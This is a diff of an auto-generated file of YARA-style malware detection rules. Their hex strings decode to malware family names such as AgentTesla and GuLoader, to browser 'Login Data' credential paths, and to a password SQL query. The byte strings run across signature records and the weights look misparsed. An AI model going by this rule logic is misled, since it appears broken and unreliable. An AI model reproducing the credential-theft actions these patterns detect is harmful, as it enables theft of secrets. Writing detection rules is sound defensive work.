_InfrastructureShared_17998{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*1811+(#a_08_2 & 1)*-11766+(#a_00_3 & 1)*32) >=5 } -rule _InfrastructureShared_17999{ +rule _InfrastructureShared_19160{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -216621,7 +230837,7 @@ rule _InfrastructureShared_17999{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*25933+(#a_00_3 & 1)*114+(#a_00_5 & 1)*99) >=6 } -rule _InfrastructureShared_18000{ +rule _InfrastructureShared_19161{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -216633,7 +230849,7 @@ rule _InfrastructureShared_18000{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*-29952+(#a_00_6 & 1)*400) >=7 } -rule _InfrastructureShared_18001{ +rule _InfrastructureShared_19162{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -216648,7 +230864,7 @@ rule _InfrastructureShared_18001{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*50+(#a_00_3 & 1)*82+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=7 } -rule _InfrastructureShared_18002{ +rule _InfrastructureShared_19163{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -216664,7 +230880,7 @@ rule _InfrastructureShared_18002{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*26478+(#a_6e_2 & 1)*26478+(#a_6c_3 & 1)*25956+(#a_53_4 & 1)*24938+(#a_00_5 & 1)*105+(#a_00_6 & 1)*78) >=7 } -rule _InfrastructureShared_18003{ +rule _InfrastructureShared_19164{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 09 00 21 " @@ -216680,7 +230896,7 @@ rule _InfrastructureShared_18003{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*79+(#a_23_3 & 1)*7168+(#a_00_5 & 1)*69+(#a_90_6 & 1)*-30384+(#a_06_7 & 1)*27904+(#a_90_8 & 1)*28672) >=7 } -rule _InfrastructureShared_18004{ +rule _InfrastructureShared_19165{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -216697,7 +230913,7 @@ rule _InfrastructureShared_18004{ ((#a_54_0 & 1)*18467+(#a_1f_1 & 1)*1299+(#a_04_2 & 1)*-28632+(#a_01_3 & 1)*28424+(#a_49_4 & 1)*-32506+(#a_01_5 & 1)*27503+(#a_6e_6 & 1)*26988+(#a_24_7 & 1)*-32475) >=8 } -rule _InfrastructureShared_18005{ +rule _InfrastructureShared_19166{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -216714,7 +230930,7 @@ rule _InfrastructureShared_18005{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29545+(#a_01_2 & 1)*13667+(#a_29_3 & 1)*10793+(#a_72_4 & 1)*29541+(#a_5c_5 & 1)*27759+(#a_33_6 & 1)*30057+(#a_00_7 & 1)*28488) >=8 } -rule _InfrastructureShared_18006{ +rule _InfrastructureShared_19167{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -216729,7 +230945,7 @@ rule _InfrastructureShared_18006{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*25972+(#a_65_2 & 1)*25185+(#a_00_4 & 1)*1+(#a_6a_5 & 1)*29268+(#a_00_7 & 1)*0) >=8 } -rule _InfrastructureShared_18007{ +rule _InfrastructureShared_19168{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " @@ -216741,7 +230957,7 @@ rule _InfrastructureShared_18007{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*14080+(#a_00_3 & 1)*0) >=11 } -rule _InfrastructureShared_18008{ +rule _InfrastructureShared_19169{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -216761,7 +230977,7 @@ rule _InfrastructureShared_18008{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25970+(#a_6a_2 & 1)*25601+(#a_73_3 & 1)*29542+(#a_72_4 & 1)*16751+(#a_01_5 & 1)*7424+(#a_6f_6 & 1)*21562+(#a_6f_7 & 1)*25970+(#a_44_8 & 1)*25927+(#a_00_9 & 1)*21581+(#a_00_11 & 1)*97) >=12 } -rule _InfrastructureShared_18009{ +rule _InfrastructureShared_19170{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -216780,7 +230996,7 @@ rule _InfrastructureShared_18009{ ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*29298+(#a_73_2 & 1)*25458+(#a_69_3 & 1)*29779+(#a_73_5 & 1)*19713+(#a_53_6 & 1)*-32750+(#a_72_7 & 1)*25965+(#a_00_8 & 1)*19064+(#a_41_10 & 1)*8448+(#a_78_11 & 1)*14915) >=12 } -rule _InfrastructureShared_18010{ +rule _InfrastructureShared_19171{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -216798,7 +231014,7 @@ rule _InfrastructureShared_18010{ ((#a_4c_0 & 1)*21539+(#a_28_1 & 1)*0+(#a_6f_2 & 1)*29555+(#a_6d_3 & 1)*31059+(#a_49_4 & 1)*28271+(#a_00_5 & 1)*21581+(#a_00_7 & 1)*97+(#a_00_9 & 1)*48+(#a_00_11 & 1)*55) >=12 } -rule _InfrastructureShared_18011{ +rule _InfrastructureShared_19172{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 03 00 21 " @@ -216809,7 +231025,7 @@ rule _InfrastructureShared_18011{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28580) >=14 } -rule _InfrastructureShared_18012{ +rule _InfrastructureShared_19173{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -216824,7 +231040,7 @@ rule _InfrastructureShared_18012{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*114+(#a_65_2 & 1)*28257+(#a_c1_3 & 1)*16401+(#a_61_4 & 1)*25903+(#a_6e_5 & 1)*12807) >=2 } -rule _InfrastructureShared_18013{ +rule _InfrastructureShared_19174{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -216836,7 +231052,7 @@ rule _InfrastructureShared_18013{ ((#a_48_0 & 1)*12067+(#a_04_1 & 1)*-28577+(#a_26_2 & 1)*656) >=3 } -rule _InfrastructureShared_18014{ +rule _InfrastructureShared_19175{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -216849,7 +231065,7 @@ rule _InfrastructureShared_18014{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111+(#a_00_3 & 1)*114+(#a_90_4 & 1)*9136) >=3 } -rule _InfrastructureShared_18015{ +rule _InfrastructureShared_19176{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " @@ -216864,7 +231080,7 @@ rule _InfrastructureShared_18015{ ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*31090+(#a_44_2 & 1)*12800+(#a_61_3 & 1)*27758+(#a_62_4 & 1)*400+(#a_00_6 & 1)*19320) >=4 } -rule _InfrastructureShared_18016{ +rule _InfrastructureShared_19177{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 21 " @@ -216881,7 +231097,7 @@ rule _InfrastructureShared_18016{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*32+(#a_00_2 & 1)*79+(#a_00_4 & 1)*111+(#a_2d_5 & 1)*14637+(#a_2d_6 & 1)*2305+(#a_39_7 & 1)*12378+(#a_7a_8 & 1)*24841) >=4 } -rule _InfrastructureShared_18017{ +rule _InfrastructureShared_19178{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -216895,7 +231111,7 @@ rule _InfrastructureShared_18017{ ((#a_46_0 & 1)*16675+(#a_2c_1 & 1)*2+(#a_65_2 & 1)*26998+(#a_53_3 & 1)*8993+(#a_6c_4 & 1)*25954) >=5 } -rule _InfrastructureShared_18018{ +rule _InfrastructureShared_19179{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -216909,7 +231125,7 @@ rule _InfrastructureShared_18018{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*28265+(#a_69_2 & 1)*8302+(#a_74_3 & 1)*30026+(#a_53_4 & 1)*8993) >=5 } -rule _InfrastructureShared_18019{ +rule _InfrastructureShared_19180{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -216922,7 +231138,7 @@ rule _InfrastructureShared_18019{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*14406+(#a_37_2 & 1)*17219+(#a_00_4 & 1)*109) >=6 } -rule _InfrastructureShared_18020{ +rule _InfrastructureShared_19181{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -216936,7 +231152,7 @@ rule _InfrastructureShared_18020{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*0+(#a_75_3 & 1)*29541+(#a_61_4 & 1)*24417+(#a_76_5 & 1)*25939) >=6 } -rule _InfrastructureShared_18021{ +rule _InfrastructureShared_19182{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 09 00 21 " @@ -216944,12 +231160,31 @@ rule _InfrastructureShared_18021{ $a_46_0 = {48 61 63 6b 74 6f 6f 6c 3a 57 69 6e 33 32 2f 50 61 73 73 76 69 65 77 00 01 00 0b 80 01 50 4f 50 33 5f 53 65 72 76 65 72 01 00 0b 80 01 49 4d 41 50 5f 53 65 72 76 65 72 01 00 0b 80 01 53 4d 41 50 5f 53 65 72 76 65 72 01 00 10 80 } //16675 $a_72_1 = {6f 66 74 20 46 72 65 65 77 61 72 65 01 00 0b 80 01 6e 69 72 73 6f 66 74 2e 6e 65 74 01 00 30 80 01 59 61 6e 64 65 78 5c 59 61 6e 64 65 78 42 72 6f 77 73 65 72 5c 73 65 72 20 44 61 74 61 5c 44 65 66 61 75 6c 74 5c 4c 6f 67 69 6e 20 44 61 74 61 01 00 26 80 01 4f 70 65 72 61 20 53 6f 66 74 77 61 72 65 5c 4f 70 65 72 } //19969 $a_74_2 = {62 6c 65 5c 4c 6f 67 69 6e 20 44 61 74 61 01 00 30 80 01 41 70 70 6c 69 63 61 74 69 6f 6e 20 44 61 74 61 5c 47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 20 53 78 53 5c 55 73 65 72 20 44 61 74 61 5c 2a 2e 2a 01 00 36 80 01 53 45 4c 45 43 54 20 69 74 65 6d } //8289 - $a_74_3 = {6d 32 20 46 52 4f 4d 20 6d 65 74 61 64 61 74 61 20 57 48 45 52 45 20 69 64 20 3d 20 27 70 61 73 73 77 6f 72 64 27 00 00 78 4b 01 00 0b 00 0b 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 56 49 56 30 31 21 4d 54 42 00 01 00 70 81 01 5d b6 1d 09 0a 00 00 00 fa } //11313 + $a_74_3 = {6d 32 20 46 52 4f 4d 20 6d 65 74 61 64 61 74 61 20 57 48 45 52 45 20 69 64 20 3d 20 27 70 61 73 73 77 6f 72 64 27 00 00 78 4b 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 47 21 4d 54 42 00 01 00 12 81 01 64 69 6e 69 74 72 6f 62 65 6e 7a 65 6e } //11313 + $a_6e_4 = {01 00 12 81 01 68 79 62 72 69 64 69 7a 61 74 69 6f 6e 73 2e 61 74 74 01 00 0f 81 01 5c 43 6f 6e 73 75 62 73 74 61 6e 74 69 61 6c 01 00 11 81 01 6f 6b 74 61 6c 6b 6f 64 65 72 6e 65 73 2e 74 78 74 01 00 16 81 01 5c 73 70 65 72 61 67 65 5c 6f 76 65 72 68 61 72 73 68 2e 69 6e 69 01 00 11 81 01 5c 73 75 62 74 65 72 66 } //11877 + $a_75_5 = {2e 62 69 6e 01 00 21 81 01 5c 41 66 6b 72 66 74 65 74 31 37 5c 6b 6e 73 6b 76 6f 74 65 72 69 6e 67 65 72 6e 65 73 2e 7a 69 70 01 00 26 81 01 5c 53 75 74 74 65 66 6c 61 73 6b 65 72 73 5c 4d 61 73 73 65 66 61 62 72 69 6b 61 74 69 6f 6e 65 6e 73 2e 69 6e 69 01 00 21 81 01 5c 65 78 70 6c 6f 73 69 76 65 6e 65 73 73 5c 41 61 62 6e 69 6e } //30060 + $a_61_6 = {65 6e 73 2e 68 74 6d 01 00 19 81 01 5c 53 61 6e 64 62 61 67 73 5c 4e 61 72 6b 6f 73 65 72 6e 65 73 2e 69 6e 69 00 00 78 4b 01 00 0b 00 0b 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 56 49 56 30 31 21 4d 54 42 00 01 00 70 81 01 5d b6 1d 09 0a 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 44 00 } //29543 + $a_00_7 = {00 00 38 00 00 00 38 } //0 condition: - ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*19969+(#a_74_2 & 1)*8289+(#a_74_3 & 1)*11313) >=8 + ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*19969+(#a_74_2 & 1)*8289+(#a_74_3 & 1)*11313+(#a_6e_4 & 1)*11877+(#a_75_5 & 1)*30060+(#a_61_6 & 1)*29543+(#a_00_7 & 1)*0) >=8 } -rule _InfrastructureShared_18022{ +rule _InfrastructureShared_19183{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 47 21 4d 54 42 00 01 00 12 81 01 64 69 6e 69 74 72 6f 62 65 6e 7a 65 6e 65 2e 69 6e 69 01 00 12 81 01 68 79 62 72 69 64 69 7a 61 74 69 6f 6e 73 2e 61 74 74 01 00 0f 81 01 5c } //18467 + $a_73_1 = {62 73 74 61 6e 74 69 61 6c 01 00 11 81 01 6f 6b 74 61 6c 6b 6f 64 65 72 6e 65 73 2e 74 78 74 01 00 16 81 01 5c 73 70 65 72 61 67 65 5c 6f 76 65 72 68 61 72 73 68 2e 69 6e 69 01 00 11 81 01 5c 73 75 62 74 65 72 66 6c 75 6f 75 73 2e 62 69 6e 01 00 21 81 01 5c 41 66 6b 72 66 74 65 74 31 37 5c 6b 6e 73 6b 76 6f 74 65 72 69 6e 67 65 } //28483 + $a_73_2 = {7a 69 70 01 00 26 81 01 5c 53 75 74 74 65 66 6c 61 73 6b 65 72 73 5c 4d 61 73 73 65 66 61 62 72 69 6b 61 74 69 6f 6e 65 6e 73 2e 69 6e 69 01 00 21 81 01 5c 65 78 70 6c 6f 73 69 76 65 6e 65 73 73 5c 41 61 62 6e 69 6e 67 73 74 61 6c 65 6e 73 2e 68 74 6d 01 00 19 81 01 5c 53 61 6e 64 62 61 67 73 5c 4e 61 } //28274 + $a_73_3 = {72 6e 65 73 2e 69 6e 69 00 00 78 4b 01 00 0b 00 0b 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 56 49 56 30 31 21 4d 54 42 00 01 00 70 81 01 5d b6 1d 09 0a 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 44 00 00 00 07 00 00 00 38 00 00 00 38 00 00 00 23 00 00 00 23 00 00 00 25 00 } //27506 + $a_00_4 = {00 00 29 00 00 00 14 00 00 00 06 00 00 00 07 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 04 00 00 00 01 00 00 00 03 00 00 00 03 00 00 00 01 00 00 00 05 00 00 00 04 00 00 00 02 01 00 68 81 01 5d b6 1d 09 } //0 + $a_00_6 = {16 00 00 01 00 00 00 3d 00 00 00 07 00 00 00 37 00 00 00 22 00 00 00 25 00 00 00 49 00 00 00 29 00 00 00 15 00 00 00 07 00 00 00 0a 00 00 00 01 00 00 00 } //506 + condition: + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28483+(#a_73_2 & 1)*28274+(#a_73_3 & 1)*27506+(#a_00_4 & 1)*0+(#a_00_6 & 1)*506) >=10 + +} +rule _InfrastructureShared_19184{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " @@ -216959,7 +231194,7 @@ rule _InfrastructureShared_18022{ ((#a_54_0 & 1)*18467) >=11 } -rule _InfrastructureShared_18023{ +rule _InfrastructureShared_19185{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -216978,7 +231213,7 @@ rule _InfrastructureShared_18023{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*28518+(#a_76_2 & 1)*25939+(#a_00_3 & 1)*31793+(#a_42_4 & 1)*19745+(#a_73_5 & 1)*28793+(#a_56_6 & 1)*17988+(#a_00_7 & 1)*19320+(#a_54_9 & 1)*8448+(#a_4d_10 & 1)*24904) >=11 } -rule _InfrastructureShared_18024{ +rule _InfrastructureShared_19186{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -216997,7 +231232,7 @@ rule _InfrastructureShared_18024{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*27491+(#a_74_2 & 1)*13366+(#a_71_3 & 1)*26713+(#a_00_4 & 1)*13159+(#a_00_6 & 1)*78+(#a_00_7 & 1)*100+(#a_6c_8 & 1)*261+(#a_00_9 & 1)*21581+(#a_01_10 & 1)*16689) >=11 } -rule _InfrastructureShared_18025{ +rule _InfrastructureShared_19187{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -217015,7 +231250,7 @@ rule _InfrastructureShared_18025{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*92+(#a_00_3 & 1)*116+(#a_00_5 & 1)*97+(#a_00_6 & 1)*28773+(#a_79_7 & 1)*17153+(#a_37_8 & 1)*13125+(#a_69_9 & 1)*29797+(#a_6a_10 & 1)*20340) >=11 } -rule _InfrastructureShared_18026{ +rule _InfrastructureShared_19188{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -217034,7 +231269,7 @@ rule _InfrastructureShared_18026{ ((#a_54_0 & 1)*18467+(#a_37_1 & 1)*14135+(#a_2e_2 & 1)*19566+(#a_73_3 & 1)*16735+(#a_01_4 & 1)*2816+(#a_4e_5 & 1)*-32503+(#a_4d_6 & 1)*27753+(#a_01_7 & 1)*4352+(#a_00_9 & 1)*116+(#a_00_11 & 1)*61) >=12 } -rule _InfrastructureShared_18027{ +rule _InfrastructureShared_19189{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -217056,7 +231291,7 @@ rule _InfrastructureShared_18027{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*26948+(#a_61_2 & 1)*25709+(#a_01_3 & 1)*25441+(#a_00_4 & 1)*32+(#a_00_6 & 1)*61+(#a_01_8 & 1)*100+(#a_4b_9 & 1)*0+(#a_03_10 & 1)*17803+(#a_01_11 & 1)*-28595+(#a_01_12 & 1)*-28556+(#a_11_13 & 1)*2125+(#a_15_14 & 1)*1563) >=16 } -rule _InfrastructureShared_18028{ +rule _InfrastructureShared_19190{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2c 01 2c 01 03 00 21 " @@ -217067,7 +231302,7 @@ rule _InfrastructureShared_18028{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*120) >=300 } -rule _InfrastructureShared_18029{ +rule _InfrastructureShared_19191{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,3c 00 0a 00 03 00 21 " @@ -217079,7 +231314,7 @@ rule _InfrastructureShared_18029{ ((#a_46_0 & 1)*16675+(#a_4d_1 & 1)*795+(#a_01_2 & 1)*-28603) >=10 } -rule _InfrastructureShared_18030{ +rule _InfrastructureShared_19192{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -217090,7 +231325,7 @@ rule _InfrastructureShared_18030{ ((#a_4c_0 & 1)*21539+(#a_24_2 & 1)*-30392) >=3 } -rule _InfrastructureShared_18031{ +rule _InfrastructureShared_19193{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -217103,7 +231338,7 @@ rule _InfrastructureShared_18031{ ((#a_77_0 & 1)*19491+(#a_6e_1 & 1)*28245+(#a_38_2 & 1)*9473+(#a_00_3 & 1)*300) >=3 } -rule _InfrastructureShared_18032{ +rule _InfrastructureShared_19194{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -217117,7 +231352,7 @@ rule _InfrastructureShared_18032{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*2305+(#a_72_2 & 1)*25888+(#a_90_3 & 1)*11617+(#a_2e_4 & 1)*13362) >=3 } -rule _InfrastructureShared_18033{ +rule _InfrastructureShared_19195{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0e 00 21 " @@ -217130,15 +231365,16 @@ rule _InfrastructureShared_18033{ $a_53_5 = {63 75 72 69 74 79 44 65 73 63 72 69 70 74 6f 72 44 61 63 6c 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 33 03 47 65 74 4f 76 65 72 6c 61 70 70 65 64 52 65 73 75 6c 74 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 2f 03 54 65 72 6d 69 } //25939 $a_65_6 = {68 72 65 61 64 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 2c 03 25 00 73 00 25 00 73 00 25 00 58 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 00 00 78 4c 01 00 05 00 05 00 08 00 21 23 41 4c 46 3a 59 32 56 3a 42 4b 41 2f 41 50 54 5f 4d } //24942 $a_42_7 = {41 5f 47 6f 6c 64 65 6e 53 70 79 5f 41 75 67 32 30 5f 31 00 01 00 5c 01 c7 85 10 ff ff ff 00 00 00 00 c7 85 14 ff ff ff 0f 00 00 00 c6 85 00 ff ff ff 00 c7 85 28 ff ff ff 00 00 00 00 c7 85 2c ff ff ff 0f 00 00 00 c6 85 18 ff ff ff 00 c7 85 40 ff ff ff 00 00 00 00 c7 85 44 ff ff ff 0f } //19521 - $a_ff_9 = {c6 45 fc 14 80 bd 04 fe ff ff 00 01 00 17 01 52 79 65 6f 6c 20 48 54 54 50 20 43 6c 69 65 6e 74 20 43 6c 61 73 73 01 00 2b 01 2d 2d 2d 2d 52 59 45 4f 4c 2d 46 42 33 42 34 30 35 42 37 45 41 45 34 39 35 61 42 30 43 30 32 39 35 43 35 34 44 34 45 30 39 36 2d 01 00 3c 01 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 41 70 70 20 50 61 74 68 73 5c 66 77 6b 70 2e 65 78 65 01 00 04 01 73 76 6d 6d 01 00 09 01 50 52 4f 54 4f 43 4f 4c 5f 01 00 08 01 73 6f 66 74 4c 69 73 74 01 00 09 01 65 78 63 75 74 65 45 78 65 00 00 78 4c 01 00 06 00 06 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 75 6e 6b 4d 61 73 74 65 72 21 64 68 61 00 01 00 22 00 69 66 20 65 78 69 73 74 20 } //-208 - $a_20_10 = {65 6c 20 25 25 31 20 65 6c 73 65 20 67 6f 74 6f 20 42 79 65 01 00 10 00 70 69 6e 67 20 31 32 37 2e 31 20 3e 20 6e 75 6c 01 00 4e 00 73 6f 66 74 57 } //9509 - $a_5c_11 = {69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 49 6e 74 65 72 6e 65 74 20 53 65 74 74 69 6e 67 73 5c 5a 6f 6e 65 4d 61 70 5c 44 6f 6d 61 69 6e 73 5c 25 73 01 } //21057 - $a_30_13 = {44 42 2d 41 41 35 32 2d 34 43 33 41 2d 41 42 33 32 2d 38 35 46 46 43 32 33 41 46 39 43 31 01 00 11 00 25 73 79 73 74 65 6d 72 6f 6f 74 25 5c 57 65 62 5c } //12595 + $a_ff_9 = {c6 45 fc 14 80 bd 04 fe ff ff 00 01 00 17 01 52 79 65 6f 6c 20 48 54 54 50 20 43 6c 69 65 6e 74 20 43 6c 61 73 73 01 00 2b 01 2d 2d 2d 2d 52 59 45 4f 4c 2d 46 42 33 42 34 30 35 42 37 45 41 45 34 39 35 61 42 30 43 30 32 39 35 43 35 34 44 34 45 30 39 36 2d 01 00 3c 01 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 41 70 70 20 50 61 74 68 73 5c 66 77 6b 70 2e 65 78 65 01 00 04 01 73 76 6d 6d 01 00 09 01 50 52 4f 54 4f 43 4f 4c 5f 01 00 08 01 73 6f 66 74 4c 69 73 74 01 00 09 01 65 78 63 75 74 65 45 78 65 00 00 78 4c 01 00 05 00 05 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 41 4e 21 4d 54 42 00 01 00 16 01 6d 69 73 66 6f 73 74 65 } //-208 + $a_6e_10 = {65 6e 64 65 73 2e 64 6c 6c 01 00 0d 01 41 6c 70 68 6f 6c 31 32 36 2e 74 78 74 01 00 1c 01 4d 79 72 74 69 66 6f 72 6d 5c 62 79 67 6e 69 6e 67 73 6b 75 6e 73 74 73 2e 69 6e 69 01 00 23 01 62 65 6e 7a 69 6e 72 61 62 61 74 5c 55 6e 69 6e 73 74 61 6c 6c 5c 66 65 6c 6c 6d 6f 6e 67 65 72 69 6e 67 01 00 13 01 77 68 69 73 6b 79 73 6a 75 73 73 65 72 6e 65 2e } //23666 + $a_01_11 = {00 24 81 01 53 6e 69 70 69 6e 67 38 31 5c 55 64 66 72 73 65 6c 73 74 69 6c 6c 61 64 65 6c 73 65 72 6e 65 73 2e 69 6e 69 01 00 16 81 01 63 6f 62 72 65 61 74 68 65 5c 41 6e 6e 65 6c 69 65 73 2e 74 78 74 01 00 14 81 01 61 67 67 72 65 73 73 69 76 65 6e 65 73 73 65 73 2e 74 78 74 01 00 1c 81 01 41 73 70 68 79 63 74 69 } //28265 + $a_6e_12 = {6e 73 74 61 6c 6c 5c 67 72 75 6e 64 74 72 6b 01 00 14 81 01 72 65 74 75 72 6e 65 72 69 6e 67 65 72 6e 65 73 2e 74 78 74 00 00 78 4c 01 00 06 00 06 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 75 6e 6b 4d 61 73 74 65 72 21 64 68 } //23651 + $a_00_13 = {22 } //97 " condition: - ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*26163+(#a_6e_2 & 1)*29779+(#a_4f_3 & 1)*24403+(#a_4c_4 & 1)*0+(#a_53_5 & 1)*25939+(#a_65_6 & 1)*24942+(#a_42_7 & 1)*19521+(#a_ff_9 & 1)*-208+(#a_20_10 & 1)*9509+(#a_5c_11 & 1)*21057+(#a_30_13 & 1)*12595) >=3 + ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*26163+(#a_6e_2 & 1)*29779+(#a_4f_3 & 1)*24403+(#a_4c_4 & 1)*0+(#a_53_5 & 1)*25939+(#a_65_6 & 1)*24942+(#a_42_7 & 1)*19521+(#a_ff_9 & 1)*-208+(#a_6e_10 & 1)*23666+(#a_01_11 & 1)*28265+(#a_6e_12 & 1)*23651+(#a_00_13 & 1)*97) >=3 } -rule _InfrastructureShared_18034{ +rule _InfrastructureShared_19196{ meta: description = 